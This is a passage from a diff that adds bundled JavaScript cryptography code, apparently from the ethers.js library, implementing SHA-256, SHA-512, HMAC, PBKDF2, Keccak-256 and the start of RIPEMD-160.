this.length = 0; + this.pos = 0; + this.destroyed = false; + this.buffer = new Uint8Array(blockLen); + this.view = createView(this.buffer); + } + update(data) { + exists(this); + const { view, buffer, blockLen } = this; + data = toBytes(data); + const len = data.length; + for (let pos = 0; pos < len;) { + const take = Math.min(blockLen - this.pos, len - pos); + // Fast path: we have at least one block in input, cast it to view and process + if (take === blockLen) { + const dataView = createView(data); + for (; blockLen <= len - pos; pos += blockLen) + this.process(dataView, pos); + continue; + } + buffer.set(data.subarray(pos, pos + take), this.pos); + this.pos += take; + pos += take; + if (this.pos === blockLen) { + this.process(view, 0); + this.pos = 0; + } + } + this.length += data.length; + this.roundClean(); + return this; + } + digestInto(out) { + exists(this); + output(out, this); + this.finished = true; + // Padding + // We can avoid allocation of buffer for padding completely if it + // was previously not allocated here. But it won't change performance. + const { buffer, view, blockLen, isLE } = this; + let { pos } = this; + // append the bit '1' to the message + buffer[pos++] = 0b10000000; + this.buffer.subarray(pos).fill(0); + // we have less than padOffset left in buffer, so we cannot put length in current block, need process it and pad again + if (this.padOffset > blockLen - pos) { + this.process(view, 0); + pos = 0; + } + // Pad until full block byte with zeros + for (let i = pos; i < blockLen; i++) + buffer[i] = 0; + // Note: sha512 requires length to be 128bit integer, but length in JS will overflow before that + // You need to write around 2 exabytes (u64_max / 8 / (1024**6)) for this to happen. + // So we just write lowest 64 bits of that value. + setBigUint64(view, blockLen - 8, BigInt(this.length * 8), isLE); + this.process(view, 0); + const oview = createView(out); + const len = this.outputLen; + // NOTE: we do division by 4 later, which should be fused in single op with modulo by JIT + if (len % 4) + throw new Error('_sha2: outputLen should be aligned to 32bit'); + const outLen = len / 4; + const state = this.get(); + if (outLen > state.length) + throw new Error('_sha2: outputLen bigger than state'); + for (let i = 0; i < outLen; i++) + oview.setUint32(4 * i, state[i], isLE); + } + digest() { + const { buffer, outputLen } = this; + this.digestInto(buffer); + const res = buffer.slice(0, outputLen); + this.destroy(); + return res; + } + _cloneInto(to) { + to || (to = new this.constructor()); + to.set(...this.get()); + const { blockLen, buffer, length, finished, destroyed, pos } = this; + to.length = length; + to.pos = pos; + to.finished = finished; + to.destroyed = destroyed; + if (length % blockLen) + to.buffer.set(buffer); + return to; + } + } + + // SHA2-256 need to try 2^128 hashes to execute birthday attack. + // BTC network is doing 2^67 hashes/sec as per early 2023. + // Choice: a ? b : c + const Chi = (a, b, c) => (a & b) ^ (~a & c); + // Majority function, true if any two inpust is true + const Maj = (a, b, c) => (a & b) ^ (a & c) ^ (b & c); + // Round constants: + // first 32 bits of the fractional parts of the cube roots of the first 64 primes 2..311) + // prettier-ignore + const SHA256_K = /* @__PURE__ */ new Uint32Array([ + 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, + 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, + 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, + 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, + 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, + 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, + 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, + 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 + ]); + // Initial state (first 32 bits of the fractional parts of the square roots of the first 8 primes 2..19): + // prettier-ignore + const IV = /* @__PURE__ */ new Uint32Array([ + 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19 + ]); + // Temporary buffer, not used to store anything between runs + // Named this way because it matches specification. + const SHA256_W = /* @__PURE__ */ new Uint32Array(64); + class SHA256 extends SHA2 { + constructor() { + super(64, 32, 8, false); + // We cannot use array here since array allows indexing by variable + // which means optimizer/compiler cannot use registers. + this.A = IV[0] | 0; + this.B = IV[1] | 0; + this.C = IV[2] | 0; + this.D = IV[3] | 0; + this.E = IV[4] | 0; + this.F = IV[5] | 0; + this.G = IV[6] | 0; + this.H = IV[7] | 0; + } + get() { + const { A, B, C, D, E, F, G, H } = this; + return [A, B, C, D, E, F, G, H]; + } + // prettier-ignore + set(A, B, C, D, E, F, G, H) { + this.A = A | 0; + this.B = B | 0; + this.C = C | 0; + this.D = D | 0; + this.E = E | 0; + this.F = F | 0; + this.G = G | 0; + this.H = H | 0; + } + process(view, offset) { + // Extend the first 16 words into the remaining 48 words w[16..63] of the message schedule array + for (let i = 0; i < 16; i++, offset += 4) + SHA256_W[i] = view.getUint32(offset, false); + for (let i = 16; i < 64; i++) { + const W15 = SHA256_W[i - 15]; + const W2 = SHA256_W[i - 2]; + const s0 = rotr(W15, 7) ^ rotr(W15, 18) ^ (W15 >>> 3); + const s1 = rotr(W2, 17) ^ rotr(W2, 19) ^ (W2 >>> 10); + SHA256_W[i] = (s1 + SHA256_W[i - 7] + s0 + SHA256_W[i - 16]) | 0; + } + // Compression function main loop, 64 rounds + let { A, B, C, D, E, F, G, H } = this; + for (let i = 0; i < 64; i++) { + const sigma1 = rotr(E, 6) ^ rotr(E, 11) ^ rotr(E, 25); + const T1 = (H + sigma1 + Chi(E, F, G) + SHA256_K[i] + SHA256_W[i]) | 0; + const sigma0 = rotr(A, 2) ^ rotr(A, 13) ^ rotr(A, 22); + const T2 = (sigma0 + Maj(A, B, C)) | 0; + H = G; + G = F; + F = E; + E = (D + T1) | 0; + D = C; + C = B; + B = A; + A = (T1 + T2) | 0; + } + // Add the compressed chunk to the current hash value + A = (A + this.A) | 0; + B = (B + this.B) | 0; + C = (C + this.C) | 0; + D = (D + this.D) | 0; + E = (E + this.E) | 0; + F = (F + this.F) | 0; + G = (G + this.G) | 0; + H = (H + this.H) | 0; + this.set(A, B, C, D, E, F, G, H); + } + roundClean() { + SHA256_W.fill(0); + } + destroy() { + this.set(0, 0, 0, 0, 0, 0, 0, 0); + this.buffer.fill(0); + } + } + /** + * SHA2-256 hash function + * @param message - data that would be hashed + */ + const sha256$1 = /* @__PURE__ */ wrapConstructor(() => new SHA256()); + + const U32_MASK64 = /* @__PURE__ */ BigInt(2 ** 32 - 1); + const _32n = /* @__PURE__ */ BigInt(32); + // We are not using BigUint64Array, because they are extremely slow as per 2022 + function fromBig(n, le = false) { + if (le) + return { h: Number(n & U32_MASK64), l: Number((n >> _32n) & U32_MASK64) }; + return { h: Number((n >> _32n) & U32_MASK64) | 0, l: Number(n & U32_MASK64) | 0 }; + } + function split$1(lst, le = false) { + let Ah = new Uint32Array(lst.length); + let Al = new Uint32Array(lst.length); + for (let i = 0; i < lst.length; i++) { + const { h, l } = fromBig(lst[i], le); + [Ah[i], Al[i]] = [h, l]; + } + return [Ah, Al]; + } + const toBig = (h, l) => (BigInt(h >>> 0) << _32n) | BigInt(l >>> 0); + // for Shift in [0, 32) + const shrSH = (h, _l, s) => h >>> s; + const shrSL = (h, l, s) => (h << (32 - s)) | (l >>> s); + // Right rotate for Shift in [1, 32) + const rotrSH = (h, l, s) => (h >>> s) | (l << (32 - s)); + const rotrSL = (h, l, s) => (h << (32 - s)) | (l >>> s); + // Right rotate for Shift in (32, 64), NOTE: 32 is special case. + const rotrBH = (h, l, s) => (h << (64 - s)) | (l >>> (s - 32)); + const rotrBL = (h, l, s) => (h >>> (s - 32)) | (l << (64 - s)); + // Right rotate for shift===32 (just swaps l&h) + const rotr32H = (_h, l) => l; + const rotr32L = (h, _l) => h; + // Left rotate for Shift in [1, 32) + const rotlSH = (h, l, s) => (h << s) | (l >>> (32 - s)); + const rotlSL = (h, l, s) => (l << s) | (h >>> (32 - s)); + // Left rotate for Shift in (32, 64), NOTE: 32 is special case. + const rotlBH = (h, l, s) => (l << (s - 32)) | (h >>> (64 - s)); + const rotlBL = (h, l, s) => (h << (s - 32)) | (l >>> (64 - s)); + // JS uses 32-bit signed integers for bitwise operations which means we cannot + // simple take carry out of low bit sum by shift, we need to use division. + function add(Ah, Al, Bh, Bl) { + const l = (Al >>> 0) + (Bl >>> 0); + return { h: (Ah + Bh + ((l / 2 ** 32) | 0)) | 0, l: l | 0 }; + } + // Addition with more than 2 elements + const add3L = (Al, Bl, Cl) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0); + const add3H = (low, Ah, Bh, Ch) => (Ah + Bh + Ch + ((low / 2 ** 32) | 0)) | 0; + const add4L = (Al, Bl, Cl, Dl) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0) + (Dl >>> 0); + const add4H = (low, Ah, Bh, Ch, Dh) => (Ah + Bh + Ch + Dh + ((low / 2 ** 32) | 0)) | 0; + const add5L = (Al, Bl, Cl, Dl, El) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0) + (Dl >>> 0) + (El >>> 0); + const add5H = (low, Ah, Bh, Ch, Dh, Eh) => (Ah + Bh + Ch + Dh + Eh + ((low / 2 ** 32) | 0)) | 0; + // prettier-ignore + const u64 = { + fromBig, split: split$1, toBig, + shrSH, shrSL, + rotrSH, rotrSL, rotrBH, rotrBL, + rotr32H, rotr32L, + rotlSH, rotlSL, rotlBH, rotlBL, + add, add3L, add3H, add4L, add4H, add5H, add5L, + }; + + // Round contants (first 32 bits of the fractional parts of the cube roots of the first 80 primes 2..409): + // prettier-ignore + const [SHA512_Kh, SHA512_Kl] = /* @__PURE__ */ (() => u64.split([ + '0x428a2f98d728ae22', '0x7137449123ef65cd', '0xb5c0fbcfec4d3b2f', '0xe9b5dba58189dbbc', + '0x3956c25bf348b538', '0x59f111f1b605d019', '0x923f82a4af194f9b', '0xab1c5ed5da6d8118', + '0xd807aa98a3030242', '0x12835b0145706fbe', '0x243185be4ee4b28c', '0x550c7dc3d5ffb4e2', + '0x72be5d74f27b896f', '0x80deb1fe3b1696b1', '0x9bdc06a725c71235', '0xc19bf174cf692694', + '0xe49b69c19ef14ad2', '0xefbe4786384f25e3', '0x0fc19dc68b8cd5b5', '0x240ca1cc77ac9c65', + '0x2de92c6f592b0275', '0x4a7484aa6ea6e483', '0x5cb0a9dcbd41fbd4', '0x76f988da831153b5', + '0x983e5152ee66dfab', '0xa831c66d2db43210', '0xb00327c898fb213f', '0xbf597fc7beef0ee4', + '0xc6e00bf33da88fc2', '0xd5a79147930aa725', '0x06ca6351e003826f', '0x142929670a0e6e70', + '0x27b70a8546d22ffc', '0x2e1b21385c26c926', '0x4d2c6dfc5ac42aed', '0x53380d139d95b3df', + '0x650a73548baf63de', '0x766a0abb3c77b2a8', '0x81c2c92e47edaee6', '0x92722c851482353b', + '0xa2bfe8a14cf10364', '0xa81a664bbc423001', '0xc24b8b70d0f89791', '0xc76c51a30654be30', + '0xd192e819d6ef5218', '0xd69906245565a910', '0xf40e35855771202a', '0x106aa07032bbd1b8', + '0x19a4c116b8d2d0c8', '0x1e376c085141ab53', '0x2748774cdf8eeb99', '0x34b0bcb5e19b48a8', + '0x391c0cb3c5c95a63', '0x4ed8aa4ae3418acb', '0x5b9cca4f7763e373', '0x682e6ff3d6b2b8a3', + '0x748f82ee5defb2fc', '0x78a5636f43172f60', '0x84c87814a1f0ab72', '0x8cc702081a6439ec', + '0x90befffa23631e28', '0xa4506cebde82bde9', '0xbef9a3f7b2c67915', '0xc67178f2e372532b', + '0xca273eceea26619c', '0xd186b8c721c0c207', '0xeada7dd6cde0eb1e', '0xf57d4f7fee6ed178', + '0x06f067aa72176fba', '0x0a637dc5a2c898a6', '0x113f9804bef90dae', '0x1b710b35131c471b', + '0x28db77f523047d84', '0x32caab7b40c72493', '0x3c9ebe0a15c9bebc', '0x431d67c49c100d4c', + '0x4cc5d4becb3e42b6', '0x597f299cfc657e2a', '0x5fcb6fab3ad6faec', '0x6c44198c4a475817' + ].map(n => BigInt(n))))(); + // Temporary buffer, not used to store anything between runs + const SHA512_W_H = /* @__PURE__ */ new Uint32Array(80); + const SHA512_W_L = /* @__PURE__ */ new Uint32Array(80); + class SHA512 extends SHA2 { + constructor() { + super(128, 64, 16, false); + // We cannot use array here since array allows indexing by variable which means optimizer/compiler cannot use registers. + // Also looks cleaner and easier to verify with spec. + // Initial state (first 32 bits of the fractional parts of the square roots of the first 8 primes 2..19): + // h -- high 32 bits, l -- low 32 bits + this.Ah = 0x6a09e667 | 0; + this.Al = 0xf3bcc908 | 0; + this.Bh = 0xbb67ae85 | 0; + this.Bl = 0x84caa73b | 0; + this.Ch = 0x3c6ef372 | 0; + this.Cl = 0xfe94f82b | 0; + this.Dh = 0xa54ff53a | 0; + this.Dl = 0x5f1d36f1 | 0; + this.Eh = 0x510e527f | 0; + this.El = 0xade682d1 | 0; + this.Fh = 0x9b05688c | 0; + this.Fl = 0x2b3e6c1f | 0; + this.Gh = 0x1f83d9ab | 0; + this.Gl = 0xfb41bd6b | 0; + this.Hh = 0x5be0cd19 | 0; + this.Hl = 0x137e2179 | 0; + } + // prettier-ignore + get() { + const { Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl } = this; + return [Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl]; + } + // prettier-ignore + set(Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl) { + this.Ah = Ah | 0; + this.Al = Al | 0; + this.Bh = Bh | 0; + this.Bl = Bl | 0; + this.Ch = Ch | 0; + this.Cl = Cl | 0; + this.Dh = Dh | 0; + this.Dl = Dl | 0; + this.Eh = Eh | 0; + this.El = El | 0; + this.Fh = Fh | 0; + this.Fl = Fl | 0; + this.Gh = Gh | 0; + this.Gl = Gl | 0; + this.Hh = Hh | 0; + this.Hl = Hl | 0; + } + process(view, offset) { + // Extend the first 16 words into the remaining 64 words w[16..79] of the message schedule array + for (let i = 0; i < 16; i++, offset += 4) { + SHA512_W_H[i] = view.getUint32(offset); + SHA512_W_L[i] = view.getUint32((offset += 4)); + } + for (let i = 16; i < 80; i++) { + // s0 := (w[i-15] rightrotate 1) xor (w[i-15] rightrotate 8) xor (w[i-15] rightshift 7) + const W15h = SHA512_W_H[i - 15] | 0; + const W15l = SHA512_W_L[i - 15] | 0; + const s0h = u64.rotrSH(W15h, W15l, 1) ^ u64.rotrSH(W15h, W15l, 8) ^ u64.shrSH(W15h, W15l, 7); + const s0l = u64.rotrSL(W15h, W15l, 1) ^ u64.rotrSL(W15h, W15l, 8) ^ u64.shrSL(W15h, W15l, 7); + // s1 := (w[i-2] rightrotate 19) xor (w[i-2] rightrotate 61) xor (w[i-2] rightshift 6) + const W2h = SHA512_W_H[i - 2] | 0; + const W2l = SHA512_W_L[i - 2] | 0; + const s1h = u64.rotrSH(W2h, W2l, 19) ^ u64.rotrBH(W2h, W2l, 61) ^ u64.shrSH(W2h, W2l, 6); + const s1l = u64.rotrSL(W2h, W2l, 19) ^ u64.rotrBL(W2h, W2l, 61) ^ u64.shrSL(W2h, W2l, 6); + // SHA256_W[i] = s0 + s1 + SHA256_W[i - 7] + SHA256_W[i - 16]; + const SUMl = u64.add4L(s0l, s1l, SHA512_W_L[i - 7], SHA512_W_L[i - 16]); + const SUMh = u64.add4H(SUMl, s0h, s1h, SHA512_W_H[i - 7], SHA512_W_H[i - 16]); + SHA512_W_H[i] = SUMh | 0; + SHA512_W_L[i] = SUMl | 0; + } + let { Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl } = this; + // Compression function main loop, 80 rounds + for (let i = 0; i < 80; i++) { + // S1 := (e rightrotate 14) xor (e rightrotate 18) xor (e rightrotate 41) + const sigma1h = u64.rotrSH(Eh, El, 14) ^ u64.rotrSH(Eh, El, 18) ^ u64.rotrBH(Eh, El, 41); + const sigma1l = u64.rotrSL(Eh, El, 14) ^ u64.rotrSL(Eh, El, 18) ^ u64.rotrBL(Eh, El, 41); + //const T1 = (H + sigma1 + Chi(E, F, G) + SHA256_K[i] + SHA256_W[i]) | 0; + const CHIh = (Eh & Fh) ^ (~Eh & Gh); + const CHIl = (El & Fl) ^ (~El & Gl); + // T1 = H + sigma1 + Chi(E, F, G) + SHA512_K[i] + SHA512_W[i] + // prettier-ignore + const T1ll = u64.add5L(Hl, sigma1l, CHIl, SHA512_Kl[i], SHA512_W_L[i]); + const T1h = u64.add5H(T1ll, Hh, sigma1h, CHIh, SHA512_Kh[i], SHA512_W_H[i]); + const T1l = T1ll | 0; + // S0 := (a rightrotate 28) xor (a rightrotate 34) xor (a rightrotate 39) + const sigma0h = u64.rotrSH(Ah, Al, 28) ^ u64.rotrBH(Ah, Al, 34) ^ u64.rotrBH(Ah, Al, 39); + const sigma0l = u64.rotrSL(Ah, Al, 28) ^ u64.rotrBL(Ah, Al, 34) ^ u64.rotrBL(Ah, Al, 39); + const MAJh = (Ah & Bh) ^ (Ah & Ch) ^ (Bh & Ch); + const MAJl = (Al & Bl) ^ (Al & Cl) ^ (Bl & Cl); + Hh = Gh | 0; + Hl = Gl | 0; + Gh = Fh | 0; + Gl = Fl | 0; + Fh = Eh | 0; + Fl = El | 0; + ({ h: Eh, l: El } = u64.add(Dh | 0, Dl | 0, T1h | 0, T1l | 0)); + Dh = Ch | 0; + Dl = Cl | 0; + Ch = Bh | 0; + Cl = Bl | 0; + Bh = Ah | 0; + Bl = Al | 0; + const All = u64.add3L(T1l, sigma0l, MAJl); + Ah = u64.add3H(All, T1h, sigma0h, MAJh); + Al = All | 0; + } + // Add the compressed chunk to the current hash value + ({ h: Ah, l: Al } = u64.add(this.Ah | 0, this.Al | 0, Ah | 0, Al | 0)); + ({ h: Bh, l: Bl } = u64.add(this.Bh | 0, this.Bl | 0, Bh | 0, Bl | 0)); + ({ h: Ch, l: Cl } = u64.add(this.Ch | 0, this.Cl | 0, Ch | 0, Cl | 0)); + ({ h: Dh, l: Dl } = u64.add(this.Dh | 0, this.Dl | 0, Dh | 0, Dl | 0)); + ({ h: Eh, l: El } = u64.add(this.Eh | 0, this.El | 0, Eh | 0, El | 0)); + ({ h: Fh, l: Fl } = u64.add(this.Fh | 0, this.Fl | 0, Fh | 0, Fl | 0)); + ({ h: Gh, l: Gl } = u64.add(this.Gh | 0, this.Gl | 0, Gh | 0, Gl | 0)); + ({ h: Hh, l: Hl } = u64.add(this.Hh | 0, this.Hl | 0, Hh | 0, Hl | 0)); + this.set(Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl); + } + roundClean() { + SHA512_W_H.fill(0); + SHA512_W_L.fill(0); + } + destroy() { + this.buffer.fill(0); + this.set(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); + } + } + const sha512$1 = /* @__PURE__ */ wrapConstructor(() => new SHA512()); + + /* Browser Crypto Shims */ + function getGlobal$1() { + if (typeof self !== 'undefined') { + return self; + } + if (typeof window !== 'undefined') { + return window; + } + if (typeof global !== 'undefined') { + return global; + } + throw new Error('unable to locate global object'); + } + const anyGlobal = getGlobal$1(); + const crypto = anyGlobal.crypto || anyGlobal.msCrypto; + function createHash(algo) { + switch (algo) { + case "sha256": return sha256$1.create(); + case "sha512": return sha512$1.create(); + } + assertArgument(false, "invalid hashing algorithm name", "algorithm", algo); + } + function createHmac(_algo, key) { + const algo = ({ sha256: sha256$1, sha512: sha512$1 }[_algo]); + assertArgument(algo != null, "invalid hmac algorithm", "algorithm", _algo); + return hmac.create(algo, key); + } + function pbkdf2Sync(password, salt, iterations, keylen, _algo) { + const algo = ({ sha256: sha256$1, sha512: sha512$1 }[_algo]); + assertArgument(algo != null, "invalid pbkdf2 algorithm", "algorithm", _algo); + return pbkdf2$1(algo, password, salt, { c: iterations, dkLen: keylen }); + } + function randomBytes$1(length) { + assert(crypto != null, "platform does not support secure random numbers", "UNSUPPORTED_OPERATION", { + operation: "randomBytes" + }); + assertArgument(Number.isInteger(length) && length > 0 && length <= 1024, "invalid length", "length", length); + const result = new Uint8Array(length); + crypto.getRandomValues(result); + return result; + } + + /** + * An **HMAC** enables verification that a given key was used + * to authenticate a payload. + * + * See: [[link-wiki-hmac]] + * + * @_subsection: api/crypto:HMAC [about-hmac] + */ + let locked$4 = false; + const _computeHmac = function (algorithm, key, data) { + return createHmac(algorithm, key).update(data).digest(); + }; + let __computeHmac = _computeHmac; + /** + * Return the HMAC for %%data%% using the %%key%% key with the underlying + * %%algo%% used for compression. + * + * @example: + * key = id("some-secret") + * + * // Compute the HMAC + * computeHmac("sha256", key, "0x1337") + * //_result: + * + * // To compute the HMAC of UTF-8 data, the data must be + * // converted to UTF-8 bytes + * computeHmac("sha256", key, toUtf8Bytes("Hello World")) + * //_result: + * + */ + function computeHmac(algorithm, _key, _data) { + const key = getBytes(_key, "key"); + const data = getBytes(_data, "data"); + return hexlify(__computeHmac(algorithm, key, data)); + } + computeHmac._ = _computeHmac; + computeHmac.lock = function () { locked$4 = true; }; + computeHmac.register = function (func) { + if (locked$4) { + throw new Error("computeHmac is locked"); + } + __computeHmac = func; + }; + Object.freeze(computeHmac); + + // SHA3 (keccak) is based on a new design: basically, the internal state is bigger than output size. + // It's called a sponge function. + // Various per round constants calculations + const [SHA3_PI, SHA3_ROTL, _SHA3_IOTA] = [[], [], []]; + const _0n$4 = /* @__PURE__ */ BigInt(0); + const _1n$5 = /* @__PURE__ */ BigInt(1); + const _2n$3 = /* @__PURE__ */ BigInt(2); + const _7n = /* @__PURE__ */ BigInt(7); + const _256n = /* @__PURE__ */ BigInt(256); + const _0x71n = /* @__PURE__ */ BigInt(0x71); + for (let round = 0, R = _1n$5, x = 1, y = 0; round < 24; round++) { + // Pi + [x, y] = [y, (2 * x + 3 * y) % 5]; + SHA3_PI.push(2 * (5 * y + x)); + // Rotational + SHA3_ROTL.push((((round + 1) * (round + 2)) / 2) % 64); + // Iota + let t = _0n$4; + for (let j = 0; j < 7; j++) { + R = ((R << _1n$5) ^ ((R >> _7n) * _0x71n)) % _256n; + if (R & _2n$3) + t ^= _1n$5 << ((_1n$5 << /* @__PURE__ */ BigInt(j)) - _1n$5); + } + _SHA3_IOTA.push(t); + } + const [SHA3_IOTA_H, SHA3_IOTA_L] = /* @__PURE__ */ split$1(_SHA3_IOTA, true); + // Left rotation (without 0, 32, 64) + const rotlH = (h, l, s) => (s > 32 ? rotlBH(h, l, s) : rotlSH(h, l, s)); + const rotlL = (h, l, s) => (s > 32 ? rotlBL(h, l, s) : rotlSL(h, l, s)); + // Same as keccakf1600, but allows to skip some rounds + function keccakP(s, rounds = 24) { + const B = new Uint32Array(5 * 2); + // NOTE: all indices are x2 since we store state as u32 instead of u64 (bigints to slow in js) + for (let round = 24 - rounds; round < 24; round++) { + // Theta θ + for (let x = 0; x < 10; x++) + B[x] = s[x] ^ s[x + 10] ^ s[x + 20] ^ s[x + 30] ^ s[x + 40]; + for (let x = 0; x < 10; x += 2) { + const idx1 = (x + 8) % 10; + const idx0 = (x + 2) % 10; + const B0 = B[idx0]; + const B1 = B[idx0 + 1]; + const Th = rotlH(B0, B1, 1) ^ B[idx1]; + const Tl = rotlL(B0, B1, 1) ^ B[idx1 + 1]; + for (let y = 0; y < 50; y += 10) { + s[x + y] ^= Th; + s[x + y + 1] ^= Tl; + } + } + // Rho (ρ) and Pi (π) + let curH = s[2]; + let curL = s[3]; + for (let t = 0; t < 24; t++) { + const shift = SHA3_ROTL[t]; + const Th = rotlH(curH, curL, shift); + const Tl = rotlL(curH, curL, shift); + const PI = SHA3_PI[t]; + curH = s[PI]; + curL = s[PI + 1]; + s[PI] = Th; + s[PI + 1] = Tl; + } + // Chi (χ) + for (let y = 0; y < 50; y += 10) { + for (let x = 0; x < 10; x++) + B[x] = s[y + x]; + for (let x = 0; x < 10; x++) + s[y + x] ^= ~B[(x + 2) % 10] & B[(x + 4) % 10]; + } + // Iota (ι) + s[0] ^= SHA3_IOTA_H[round]; + s[1] ^= SHA3_IOTA_L[round]; + } + B.fill(0); + } + class Keccak extends Hash { + // NOTE: we accept arguments in bytes instead of bits here. + constructor(blockLen, suffix, outputLen, enableXOF = false, rounds = 24) { + super(); + this.blockLen = blockLen; + this.suffix = suffix; + this.outputLen = outputLen; + this.enableXOF = enableXOF; + this.rounds = rounds; + this.pos = 0; + this.posOut = 0; + this.finished = false; + this.destroyed = false; + // Can be passed from user as dkLen + number(outputLen); + // 1600 = 5x5 matrix of 64bit. 1600 bits === 200 bytes + if (0 >= this.blockLen || this.blockLen >= 200) + throw new Error('Sha3 supports only keccak-f1600 function'); + this.state = new Uint8Array(200); + this.state32 = u32(this.state); + } + keccak() { + keccakP(this.state32, this.rounds); + this.posOut = 0; + this.pos = 0; + } + update(data) { + exists(this); + const { blockLen, state } = this; + data = toBytes(data); + const len = data.length; + for (let pos = 0; pos < len;) { + const take = Math.min(blockLen - this.pos, len - pos); + for (let i = 0; i < take; i++) + state[this.pos++] ^= data[pos++]; + if (this.pos === blockLen) + this.keccak(); + } + return this; + } + finish() { + if (this.finished) + return; + this.finished = true; + const { state, suffix, pos, blockLen } = this; + // Do the padding + state[pos] ^= suffix; + if ((suffix & 0x80) !== 0 && pos === blockLen - 1) + this.keccak(); + state[blockLen - 1] ^= 0x80; + this.keccak(); + } + writeInto(out) { + exists(this, false); + bytes(out); + this.finish(); + const bufferOut = this.state; + const { blockLen } = this; + for (let pos = 0, len = out.length; pos < len;) { + if (this.posOut >= blockLen) + this.keccak(); + const take = Math.min(blockLen - this.posOut, len - pos); + out.set(bufferOut.subarray(this.posOut, this.posOut + take), pos); + this.posOut += take; + pos += take; + } + return out; + } + xofInto(out) { + // Sha3/Keccak usage with XOF is probably mistake, only SHAKE instances can do XOF + if (!this.enableXOF) + throw new Error('XOF is not possible for this instance'); + return this.writeInto(out); + } + xof(bytes) { + number(bytes); + return this.xofInto(new Uint8Array(bytes)); + } + digestInto(out) { + output(out, this); + if (this.finished) + throw new Error('digest() was already called'); + this.writeInto(out); + this.destroy(); + return out; + } + digest() { + return this.digestInto(new Uint8Array(this.outputLen)); + } + destroy() { + this.destroyed = true; + this.state.fill(0); + } + _cloneInto(to) { + const { blockLen, suffix, outputLen, rounds, enableXOF } = this; + to || (to = new Keccak(blockLen, suffix, outputLen, enableXOF, rounds)); + to.state32.set(this.state32); + to.pos = this.pos; + to.posOut = this.posOut; + to.finished = this.finished; + to.rounds = rounds; + // Suffix can change in cSHAKE + to.suffix = suffix; + to.outputLen = outputLen; + to.enableXOF = enableXOF; + to.destroyed = this.destroyed; + return to; + } + } + const gen = (suffix, blockLen, outputLen) => wrapConstructor(() => new Keccak(blockLen, suffix, outputLen)); + /** + * keccak-256 hash function. Different from SHA3-256. + * @param message - that would be hashed + */ + const keccak_256 = /* @__PURE__ */ gen(0x01, 136, 256 / 8); + + /** + * Cryptographic hashing functions + * + * @_subsection: api/crypto:Hash Functions [about-crypto-hashing] + */ + let locked$3 = false; + const _keccak256 = function (data) { + return keccak_256(data); + }; + let __keccak256 = _keccak256; + /** + * Compute the cryptographic KECCAK256 hash of %%data%%. + * + * The %%data%% **must** be a data representation, to compute the + * hash of UTF-8 data use the [[id]] function. + * + * @returns DataHexstring + * @example: + * keccak256("0x") + * //_result: + * + * keccak256("0x1337") + * //_result: + * + * keccak256(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + * + * // Strings are assumed to be DataHexString, otherwise it will + * // throw. To hash UTF-8 data, see the note above. + * keccak256("Hello World") + * //_error: + */ + function keccak256(_data) { + const data = getBytes(_data, "data"); + return hexlify(__keccak256(data)); + } + keccak256._ = _keccak256; + keccak256.lock = function () { locked$3 = true; }; + keccak256.register = function (func) { + if (locked$3) { + throw new TypeError("keccak256 is locked"); + } + __keccak256 = func; + }; + Object.freeze(keccak256); + + // https://homes.esat.kuleuven.be/~bosselae/ripemd160.html + // https://homes.esat.kuleuven.be/~bosselae/ripemd160/pdf/AB-9601/AB-9601.pdf + const Rho = /* @__PURE__ */ new Uint8Array([7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8]); + const Id = /* @__PURE__ */ Uint8Array.from({ length: 16 }, (_, i) => i); + const Pi = /* @__PURE__ */ Id.map((i) => (9 * i + 5) % 16); + let idxL = [Id]; + let idxR = [Pi]; + for (let i = 0; i < 4; i++) + for (let j of [idxL, idxR]) + j.push(j[i].map((k) => Rho[k])); + const shifts = /* @__PURE__ */ [ + [11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8], + [12, 13, 11, 15, 6, 9, 9, 7, 12, 15, 11, 13, 7, 8, 7, 7], + [13, 15, 14, 11, 7, 7, 6, 8, 13, 14, 13, 12, 5, 5, 6, 9], + [14, 11, 12, 14, 8, 6, 5, 5, 15, 12, 15, 14, 9, 9, 8, 6], + [15, 12, 13, 13, 9, 5, 8, 6, 14, 11, 12, 11, 8, 6, 5, 5], + ].map((i) => new Uint8Array(i)); + const shiftsL = /* @__PURE__ */ idxL.map((idx, i) => idx.map((j) => shifts[i][j])); + const shiftsR = /* @__PURE__ */ idxR.map((idx, i) => idx.map((j) => shifts[i][j])); + const Kl = /* @__PURE__ */ 